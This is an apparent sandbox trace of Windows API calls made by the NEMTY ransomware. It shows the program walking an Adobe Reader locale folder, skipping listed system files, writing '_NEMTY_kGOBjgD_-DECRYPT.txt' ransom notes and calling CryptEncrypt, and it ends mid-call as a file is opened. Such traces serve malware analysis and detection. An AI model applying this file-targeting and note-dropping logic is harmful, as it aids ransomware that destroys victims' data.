(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.918] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afa5510, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afcb670, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.918] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.918] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0173.918] lstrcmpiW (lpString1="cs_CZ", lpString2=".") returned 1 [0173.918] lstrcmpiW (lpString1="cs_CZ", lpString2="..") returned 1 [0173.918] lstrcmpiW (lpString1="cs_CZ", lpString2="...") returned 1 [0173.918] lstrcmpiW (lpString1="cs_CZ", lpString2="windows") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="$RECYCLE.BIN") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="rsa") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="NTDETECT.COM") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="ntldr") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="MSDOS.SYS") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="IO.SYS") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="boot.ini") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="boot.ini") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="AUTOEXEC.BAT") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="ntuser.dat") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="desktop.ini") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="CONFIG.SYS") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="RECYCLER") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="BOOTSECT.BAK") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="bootmgr") returned 1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="programdata") returned -1 [0173.919] lstrcmpiW (lpString1="cs_CZ", lpString2="appdata") returned 1 [0173.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs_CZ", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs_CZ", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cs_CZ", lpUsedDefaultChar=0x0) returned 5 [0173.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs_CZ", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs_CZ", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cs_CZ", lpUsedDefaultChar=0x0) returned 5 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.932] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.932] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.933] CloseHandle (hObject=0x254) returned 1 [0173.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.934] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.934] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.935] CloseHandle (hObject=0x254) returned 1 [0173.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.935] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1b500690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b500690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.935] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.935] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1b500690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b500690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.935] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.935] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.935] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.CZE", cAlternateFileName="ACCESS~1.CZE")) returned 1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2=".") returned 1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="..") returned 1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="...") returned 1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="windows") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="$RECYCLE.BIN") returned 1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="rsa") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="NTDETECT.COM") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="ntldr") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="MSDOS.SYS") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="IO.SYS") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="boot.ini") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="boot.ini") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="AUTOEXEC.BAT") returned -1 [0173.935] lstrcmpiW (lpString1="accessibility.CZE", lpString2="ntuser.dat") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="desktop.ini") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="CONFIG.SYS") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="RECYCLER") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="BOOTSECT.BAK") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="bootmgr") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="programdata") returned -1 [0173.936] lstrcmpiW (lpString1="accessibility.CZE", lpString2="appdata") returned -1 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CZE", lpUsedDefaultChar=0x0) returned 17 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CZE", lpUsedDefaultChar=0x0) returned 17 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CZE", lpUsedDefaultChar=0x0) returned 17 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CZE", lpUsedDefaultChar=0x0) returned 17 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.937] Sleep (dwMilliseconds=0x5) [0173.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b5267f0, dwHighDateTime=0x1d561e8)) [0173.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b5267f0, dwHighDateTime=0x1d561e8)) [0173.938] GetLastError () returned 0xb7 [0173.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.938] GetLastError () returned 0xb7 [0173.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.939] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.939] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="SmiLmkQ7xW75vJWTDOR38RE773YA/xBdCtJ9qOZIuUX8uo5kt3K70kQxo0ph9IwD\r\n/0XM7KmZ/u8X/IQ7bSzwxQHjJTsibtvN0XRknr3RoA3RavvIVlEcOamD+i4n2eLz\r\nLLPrpjRGq7OcxEI08k0BvIB+zH1G9ZRA/3r4ttB4u6cSAJvTl3+ltDR1G3gZIK0Z\r\n/Hzp7fDNmhJOysSU9HyPw+rkfFaxXGMKdgUBK6/VYfENFDcwa1r6ibc7+5nvkCYO\r\nvVsaboAXlpW/Ziiopzx2GNEwicsP/uoyhKropJ/ZDMRehetfK01cUe5vBXIA9nHO\r\niqkQJTXnnd0+iaai/vbZwg==\r\n", pcchString=0x653e5dc) returned 1 [0173.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.939] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: 